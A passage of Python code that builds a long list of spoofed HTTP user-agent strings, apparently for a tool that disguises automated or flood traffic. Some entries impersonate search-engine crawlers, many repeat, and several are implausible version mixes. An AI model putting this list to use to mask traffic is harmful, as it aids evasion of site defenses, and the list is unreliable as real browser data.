  2350.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2351.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2352.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2353.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2354.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2355.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2356.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2357.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2358.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2359.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2360.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2361.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2362.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2363.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2364.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2365.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2366.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2367.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2368.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2369.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2370.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2371.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2372.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2373.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2374.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2375.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2376.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2377.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2378.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2379.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2380.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2381.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2382.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2383.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2384.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2385.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2386.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2387.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2388.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2389.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2390.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2391.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2392.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2393.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2394.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2395.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2396.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2397.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2398.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2399.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2400.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2401.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2402.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2403.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2404.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2405.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2406.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2407.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2408.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2409.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2410.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2411.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2412.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2413.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2414.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2415.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2416.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2417.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2418.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2419.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2420.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2421.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2422.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2423.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2424.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2425.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2426.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2427.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2428.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2429.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2430.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2431.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2432.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2433.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2434.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2435.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2436.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2437.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2439.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2440.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2441.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2442.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2443.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2444.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2445.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2446.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2447.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2448.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2449.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2450.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2451.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2452.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2453.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2454.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2455.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2456.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2457.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2458.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2459.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2460.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2461.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2462.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2463.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2464.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2465.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2466.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2467.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2468.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2469.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2470.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2471.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2472.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2473.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2474.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2475.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2476.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2477.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2478.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2479.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2480.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2481.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2482.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2483.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2484.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2485.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2486.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2487.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2488.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2489.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2490.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2491.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2492.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2493.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2494.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2495.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2496.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2497.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2498.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2499.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2500.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2501.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2502.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2503.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2504.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2505.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2506.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2507.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2508.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2509.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2510.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2511.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2512.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2513.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2515.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2516.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2517.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2518.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2519.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2520.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2521.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2522.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2523.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2524.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2525.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2526.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2527.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2528.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2529.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2530.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2531.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2532.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2533.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2534.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2535.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2536.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2537.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2538.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2539.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2540.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2541.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2542.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2543.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
